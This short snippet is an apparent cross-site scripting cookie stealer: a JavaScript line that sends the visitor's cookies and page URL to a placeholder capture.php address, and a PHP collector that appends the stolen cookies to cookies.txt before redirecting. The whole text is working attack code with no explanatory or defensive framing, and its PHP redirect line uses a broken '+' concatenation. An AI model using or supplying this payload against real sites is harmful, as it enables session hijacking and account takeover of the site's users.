document.location.href = '<url>/capture.php?c='+ escape(document.cookie)+"&p="+escape(document.location.href);
<?php
$plik = fopen('cookies.txt', 'a');
if($_GET['c']!=""){
fputs($plik, urldecode($_GET['c'])." ");
fclose($plik);
}
header('Location: '+$my_url+'/index.html');
?>